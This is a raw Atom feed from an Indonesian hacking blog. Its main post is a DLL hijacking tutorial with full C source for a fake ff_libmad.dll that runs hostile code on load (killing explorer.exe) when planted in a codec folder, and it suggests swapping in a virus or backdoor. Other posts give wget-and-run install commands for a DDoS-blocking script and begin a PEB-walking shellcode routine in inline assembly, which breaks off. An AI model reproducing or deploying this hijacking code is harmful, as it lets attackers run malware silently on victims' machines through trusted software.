CourierNewPS-BoldMT; font-size: 12.0pt; mso-bidi-font-family: CourierNewPS-BoldMT;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Blog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :blog.ayrbyte-13.com&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 2.5in; text-indent: -123.75pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: CourierNewPS-BoldMT; font-size: 12.0pt; mso-bidi-font-family: CourierNewPS-BoldMT;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fb&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :fb.me/Ayrbyte&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: 2.5in; text-indent: -123.75pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: CourierNewPS-BoldMT; font-size: 12.0pt; mso-bidi-font-family: CourierNewPS-BoldMT;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Mail &amp;nbsp;&amp;nbsp;&amp;nbsp; :ayr1j95011z@yahoo.com&lt;br /&gt;
Portal&amp;nbsp;&amp;nbsp; :ayrbyte-13.com&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/7122890667213308193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/about-me.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/7122890667213308193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/7122890667213308193'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/about-me.html' title='About Me...'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEzEE2L2kjuVHAwxVaIiFqGGevwwMPnfdujIHsCsSVhGyxppCEUkbwyUDY0NKzxZjuZlEfCteHLlevY782sc8VmNDVxm1QadwHj4R8I0P8NMVN6D7gQNbMvnStxKHJnkUkldEqtsJ6wpI/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-1468118514573289913</id><published>2012-08-19T01:42:00.001-07:00</published><updated>2013-03-28T23:02:13.519-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hacking/cracking"/><title type='text'>Dll Hijacking</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Secara
sederhana Dll Hijacking adalah proses pengeksekusian perintah2 jahat ataupun
code2 virus yang dilakukan dengan cara memasukkan code tersebut ke dalam file
dll yang diload oleh suatu aplikasi / software, dengan kata lain ketika
seseorang membuka suatu software yang didalam file librarynya telah di tanam
suatu kode jahat, tanpa di sadari seorang tersebut telah ikut mengeksekusi kode
jahat yang telah di tanan.&lt;br /&gt;
ok karna saya bukan seorang yang paham masalah-masalah teori jadi langsung
prakteknya saja ya… hehehe… (maklum lom pernah duduk di bangku kuliahan ^_^)&lt;br /&gt;
&lt;br /&gt;
kali ini kita akan mencoba ngganti dll nya Media Player Clasic ok…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Sofware2 yang harus
di siapkan…&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1. Media Player Clasic
(yang saya gunakan build number 1.5.0.2827)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2. Immunity Debugger
(pakek oly juga gak papa…!)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3. C/C++ Compiler (Disini
saya pakek wxdefc++) os nya saya pakek Windows 7&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4. Dll Export Viewer &lt;/span&gt;&lt;span style=&quot;font-family: Consolas; font-size: 11.0pt; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;&quot;&gt;&lt;a href=&quot;http://www.nirsoft.net/utils/dllexp-x64.zip&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;http://www.nirsoft.net/utils/dllexp-x64.zip&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;5. Segelas susu hangat… plus camilan biar gak
ngantuk….&lt;br /&gt;
&lt;br /&gt;
pertama2 kit harus tau module apa saja yang di load oleh MPC ketika pertama
kali di jalankan… dengan cara attach dan run mpc-hc.exe di Immunity Debugger…
apabila ada exception tekan Shift+f9 terus sampai program terload secara
sempurna… kemudian coba jalankan file video ataupun mp3… setelah itu tekan
alt+E untuk melihat module yang terload…&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7oe4IHpsftdmQYjcIhd8K-5hyX3Fc_a8EMYaBtXtmX-IYTk9B0B8j_130Mp6tZFm2f9r_yGXGHqlLrLtS_Q4DDlbM-_D3PNqv2Eg4zcWEzBT04Tli9KdR4j-xFNVT4bGyhBspNdU0Wxw/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;55&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7oe4IHpsftdmQYjcIhd8K-5hyX3Fc_a8EMYaBtXtmX-IYTk9B0B8j_130Mp6tZFm2f9r_yGXGHqlLrLtS_Q4DDlbM-_D3PNqv2Eg4zcWEzBT04Tli9KdR4j-xFNVT4bGyhBspNdU0Wxw/s400/1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;Di
atas file ff_libmad.dll terload saat file mp3 di putar… kita bisa menyimpan
code jahat kita di file itu ^_^… setelah menentukan module yang akan digunakan
kita harus mencari dahulu fungsi2 yang ada dalam modul tersebut agar module
yang kita akan buat nanti dapat di tetap di load oleh mpc… untuk mengetahui
fungsi apa saja yang ada di dalamnya kita dapat menggunakan tool Dll Export
Viewer…&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;buka Dll Export Viewer&lt;span style=&quot;font-family: Wingdings;&quot;&gt;à&lt;/span&gt;load function
from the following DLL File&lt;span style=&quot;font-family: Wingdings;&quot;&gt;à&lt;/span&gt;browse
(C:\Program Files\K-Lite Codec Pack\ffdshow\ff_libmad.dll)&lt;span style=&quot;font-family: Wingdings;&quot;&gt;à&lt;/span&gt;ok&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;
&lt;/span&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;kemudian akan muncul nama2 fungsi yang ada di dalamnya…&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;
&lt;/span&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbXaz5TSlpgdSysCnXvll61PpuhXvwvQaQWWUk4W4-w13UP7vz0Hm1a5ZBOSHfpgcQoimmsLCdYhGGapnV8VqCfKsuHqdjqATQZPeKbkkgasn1sia1zB_cFvHnqJtYTRLuw92hbHNIbac/s1600/2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;191&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbXaz5TSlpgdSysCnXvll61PpuhXvwvQaQWWUk4W4-w13UP7vz0Hm1a5ZBOSHfpgcQoimmsLCdYhGGapnV8VqCfKsuHqdjqATQZPeKbkkgasn1sia1zB_cFvHnqJtYTRLuw92hbHNIbac/s320/2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Ok
berdasarkan informasi itu langsung saja kita buat file dll palsu nya ^_^…&lt;br /&gt;
&lt;br /&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
buka
wxdevc++, kemudian klik file-&amp;gt;new-&amp;gt;project-&amp;gt;dll dan beri nama
projectnya “ff_libmad” lalu pilih c project dan tekan ok kemudian otomatis
compiler akan mebuat dua file yaitu dllmain.c dan dll.h&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;
ubah dllmain.c menjadi seperti ini…&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;/////////////////////////////////////////////////////////////////////////////////////////
/* Replace &quot;dll.h&quot; with the name of your header */
#include &quot;dll.h&quot;
#include &lt;windows .h=&quot;.h&quot;&gt;
#include &lt;stdio .h=&quot;.h&quot;&gt;
#include &lt;stdlib .h=&quot;.h&quot;&gt;

void CodeJahat()
{
    char killexplorer[] = &quot;taskkill /im explorer.exe /f&quot;;
    WinExec(killexplorer, 0);
}


//Buat Fungsi2 yang sama dengan dll aslinya…
DLLIMPORT void getVersion(){}
DLLIMPORT void mad_frame_decode(){}
DLLIMPORT void mad_frame_finish(){}
DLLIMPORT void mad_frame_init(){}
DLLIMPORT void mad_stream_buffer(){}
DLLIMPORT void mad_stream_finish(){}
DLLIMPORT void mad_stream_init(){}
DLLIMPORT void mad_synth_frame(){}
DLLIMPORT void mad_synth_init(){}


BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
                       DWORD reason        /* Reason this function is being called. */ ,
                       LPVOID reserved     /* Not used. */ )
{
    switch (reason)
    {
      case DLL_PROCESS_ATTACH:
//CodeJahat Dieksekusi ^_^
            CodeJahat();
        break;
      case DLL_PROCESS_DETACH:
        break;
 case DLL_THREAD_ATTACH:
        break;
      case DLL_THREAD_DETACH:
        break;
    }
    /* Returns TRUE on success, FALSE on failure */
    return TRUE;
}
/////////////////////////////////////////////////////////////////////////////////////////


&lt;/stdlib&gt;&lt;/stdio&gt;&lt;/windows&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;span style=&quot;font-family: Consolas; font-size: 11.0pt; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;&quot;&gt;&lt;div&gt;
&lt;span style=&quot;font-family: Calibri, sans-serif;&quot;&gt;&lt;span style=&quot;font-family: Consolas; font-size: 11.0pt; mso-ansi-language: EN-US; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
Fungsi CodeJahat() di atas saya buat untuk
mengkill explorer.exe anda bisa ganti CodeJahatnya sesuai keinginan
masing-masing ^_^&lt;br /&gt;
&lt;br /&gt;
sekarang proses penentuan apakah berhasil atau tidak… compile ff_libmad
kemudian taruh ff_libmad.dll buatan kita di folder &lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;C:\Program
Files\K-Lite Codec Pack\ffdshow\ sebelumnya anda rename dahulu ff_libmad.dll
yang asli jadi ff_libmad(backup).dll buat cadangan yang asli ^_^&lt;br /&gt;
&lt;br /&gt;
setalah itu silahkan coba buka mp3 pakek Media Player Clasic… sebelum itu q
saranin mbuka command prompt dulu buat ngembaliin explorer yang di kill paksa…
setelah mp3 terbuka walla… explorer pun di tutup paksa… itu tandanya kita
berhasil ^_^… Untuk mengembalikan explorer cukup ketik explorer pada command
prompt&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVZQ3qAi5EO4FKo77ESv3tUIIa4-ZH5bhj8DOkJcsHBhGCxf-dsXvaOE1h2eLqgog2wZ2YYENJ7C1At080HQf0gcKCd2vqpFo5X1YAzF-a99x4P0CgCVoWYPMSAxnVBQuEogKgRO5J5b0/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;278&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVZQ3qAi5EO4FKo77ESv3tUIIa4-ZH5bhj8DOkJcsHBhGCxf-dsXvaOE1h2eLqgog2wZ2YYENJ7C1At080HQf0gcKCd2vqpFo5X1YAzF-a99x4P0CgCVoWYPMSAxnVBQuEogKgRO5J5b0/s400/3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;Bayangkan
kalau kode yang kita sisipkan adalah kode virus atau backdoor buat system
korban…? Tentunya akan sangat berbahaya bukan…? Anda bisa download file dll
beserta source nya yang kita buat tadi di sini &lt;/span&gt;&lt;a href=&quot;http://w1ng13cr3w.webuda.com/download/dll.rar&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;http://w1ng13cr3w.webuda.com/download/dll.rar&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/1468118514573289913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/dll-hijacking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1468118514573289913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/1468118514573289913'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/dll-hijacking.html' title='Dll Hijacking'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7oe4IHpsftdmQYjcIhd8K-5hyX3Fc_a8EMYaBtXtmX-IYTk9B0B8j_130Mp6tZFm2f9r_yGXGHqlLrLtS_Q4DDlbM-_D3PNqv2Eg4zcWEzBT04Tli9KdR4j-xFNVT4bGyhBspNdU0Wxw/s72-c/1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-7873722378683163028</id><published>2012-08-11T00:36:00.002-07:00</published><updated>2013-03-28T23:01:30.742-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>how to avoid Denial of Service attacks</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash4/391356_253982388054276_1011608696_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash4/391356_253982388054276_1011608696_n.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
(D)DoS Deflate is a lightweight bash shell script designed to assist in the process of blocking a denial of service attack. It utilizes the command below to create a list of IP addresses connected to the server, along with their total number of connections. It is one of the simplest and easiest to install solutions at the software level.&lt;br /&gt;
&lt;br /&gt;
netstat -ntu | awk &#39;{print $5}&#39; | cut -d: -f1 | sort | uniq -c | sort -n&lt;br /&gt;
&lt;br /&gt;
IP addresses with over a pre-configured number of connections are automatically blocked in the server&#39;s firewall, which can be direct iptables or Advanced Policy Firewall (APF). (We highly recommend that you use APF on your server in general, but deflate will work without it.)&lt;br /&gt;
Notable Features&lt;br /&gt;
&lt;br /&gt;
It is possible to whitelist IP addresses, via /usr/local/ddos/ignore.ip.list.&lt;br /&gt;
Simple configuration file: /usr/local/ddos/ddos.conf&lt;br /&gt;
IP addresses are automatically unblocked after a preconfigured time limit (default: 600 seconds)&lt;br /&gt;
The script can run at a chosen frequency via the configuration file (default: 1 minute)&lt;br /&gt;
You can receive email alerts when IP addresses are blocked.&lt;br /&gt;
&lt;br /&gt;
Installation&lt;br /&gt;
&lt;br /&gt;
wget http://www.inetbase.com/scripts/ddos/install.sh&lt;br /&gt;
chmod 0700 install.sh&lt;br /&gt;
./install.sh&lt;br /&gt;
&lt;br /&gt;
Uninstallation&lt;br /&gt;
&lt;br /&gt;
wget http://www.inetbase.com/scripts/ddos/uninstall.ddos&lt;br /&gt;
chmod 0700 uninstall.ddos&lt;br /&gt;
./uninstall.ddos</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/7873722378683163028/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/how-to-avoid-denial-of-service-attacks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/7873722378683163028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/7873722378683163028'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/08/how-to-avoid-denial-of-service-attacks.html' title='how to avoid Denial of Service attacks'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-2047600398346649984</id><published>2012-07-01T23:37:00.000-07:00</published><updated>2013-03-28T23:01:21.371-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>MessageBox The Hard Way By Ayrbyte</title><content type='html'>Sedikit Meneruskan tulisan kemarin... ^_^&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaks3g74sKb1xO37uDxPex8q8zIAqqAGVCPh25_wTebxBXbA6guUGCE2OQmy36jO3B4QFVj9kho10AiTD25ygdquJxUVj-rDxZcFsxQYyaG1YvleKBc_22pNilPn2gW10PoCSKyaLc7XQ/s1600/Untitled.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaks3g74sKb1xO37uDxPex8q8zIAqqAGVCPh25_wTebxBXbA6guUGCE2OQmy36jO3B4QFVj9kho10AiTD25ygdquJxUVj-rDxZcFsxQYyaG1YvleKBc_22pNilPn2gW10PoCSKyaLc7XQ/s1600/Untitled.png&quot; /&gt;&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;/*##################################################
------------------------------------------------
    Calling MessageBoxA The Hard Way by Ayrbyte
------------------------------------------------    
    ??  %%  %% $$$$$        &amp;gt;&amp;gt;  &amp;gt; ::    ;;;;;;;;
   ?? ?  %% %% $$ $$ ||      &amp;gt;&amp;gt; &amp;gt; ::    ;;    ;;
  ?????   %%%% $$$$$ ||___    &amp;gt;&amp;gt;&amp;gt; ::::: ;;;;;;;
 ??   ??    %% $$$$  ||  ||     &amp;gt; ::    ;;
      %%%%%%%% $$ $$ ||__|| &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; ::::: ;;;;;;;;
    ______________&amp;gt;&amp;gt;Ayrbyte&amp;lt;&amp;lt;_______________
    Gamerz From b-compi | Pasukan Berkompi
    
    compiler    : WxDevc++
    tested on   : Windows 7 Ultimate
##################################################*/
using namespace std;
int main(){
// Menggunakan intel style assembly syntax
    __asm__(&quot;.intel_syntax noprefix\n&quot;);
    __asm__(
//;---&amp;gt;Menemukan Address LoadLibraryA&amp;lt;---
&quot;XOR ESI,ESI\n&quot;
&quot;XOR ECX,ECX\n&quot;             //; ECX = 0
&quot;MOV ESI,FS:[ECX + 0x30]\n&quot; //; ESI = &amp;amp;(PEB) ([FS:0x30])
&quot;MOV ESI,[ESI + 0x0C]\n&quot;    //; ESI = PEB-&amp;gt;Ldr
&quot;MOV ESI,[ESI + 0x1C]\n&quot;    //; ESI = PEB-&amp;gt;Ldr.InInitOrder
&quot;xor ebx,ebx\n&quot;
&quot;next_module1:\n&quot;
&quot;inc ebx\n&quot;
